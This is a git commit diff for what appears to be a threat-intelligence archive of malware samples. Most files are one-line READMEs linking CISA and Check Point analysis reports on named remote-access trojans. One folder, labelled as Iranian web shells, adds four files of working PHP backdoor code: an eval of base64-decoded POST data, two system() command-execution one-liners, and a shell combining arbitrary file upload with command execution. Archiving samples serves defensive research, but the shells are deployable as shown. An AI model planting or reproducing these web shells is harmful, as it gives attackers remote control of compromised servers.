Initial commit

2020/2020-07-16_CISA-WELLMAIL/README.md

@@ -0,0 +1 @@
+https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c

2020/2020-08-03_CISA-Chinese_RAT_TAIDOOR/README.md

@@ -0,0 +1 @@
+https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a

2020/2020-08-19_CISA-North_Korean_RAT_BLINDINGCAN/README.md

@@ -0,0 +1 @@
+https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a

2020/2020-08-26_CISA-MAR-10301706_North_Korean_RAT_VIVACIOUSGIFT/README.md

@@ -0,0 +1 @@
+https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239b

2020/2020-08-26_CISA-North_Korean_RAT_ECCENTRICBANDWAGON/README.md

@@ -0,0 +1 @@
+https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a

2020/2020-08-26_CISA-North_Korean_RAT_FASTCASH/README.md

@@ -0,0 +1 @@
+https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239c

2020/2020-09-15_CISA-MAR-10297887_Iranian_Web_Shells/4a1fc30ffeee48f213e256fa7bff77d8abd8acd81e3b2eb3b9c40bd3e2b04756

@@ -0,0 +1 @@
+<?php @eval(base64_decode($_POST['citrix@kharpedar']));?>

2020/2020-09-15_CISA-MAR-10297887_Iranian_Web_Shells/51e9cadeab1b33260c4ccb2c63f5860a77dd58541d7fb0840ad52d0a1abedd21

@@ -0,0 +1,22 @@
+<?php
+if ($_FILES["file"]["error"] > 0)
+{
+    echo "Error: " . $_FILES["file"]["error"] . "<br>";
+}
+else
+{
+    echo "FILENAME: " . $_FILES["file"]["name"] . "<br>";
+    echo "FILETYPE: " . $_FILES["file"]["type"] . "<br>";
+    echo "FILETYPE: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
+    echo "FILETEMPPATH: " . $_FILES["file"]["tmp_name"] . " <br>";
+    move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
+}
+?>
+<textarea name="textarea" cols="100" rows="25" readonly>
+<?php
+if (strlen($_GET["cmd"]) > 0)
+{
+        system($_GET["cmd"]);
+}
+?>
+</textarea>

2020/2020-09-15_CISA-MAR-10297887_Iranian_Web_Shells/547440bd037a149ac7ac58bc5aaa65d079537e7a87dc93bb92edf0de7648761c

@@ -0,0 +1 @@
+<?php system($_GET["b"]);?>

2020/2020-09-15_CISA-MAR-10297887_Iranian_Web_Shells/REAMDE.md

@@ -0,0 +1 @@
+https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a

2020/2020-09-15_CISA-MAR-10297887_Iranian_Web_Shells/b443032aa281440017d1dcc3ae0a70d1d30d4f2f2b3f064f95f285e243559249

@@ -0,0 +1 @@
+<?php system($_POST["k0"]);?>

2020/2020-09-18_Checkpoint-Rampant_Kitten/README.md

@@ -0,0 +1 @@
+https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/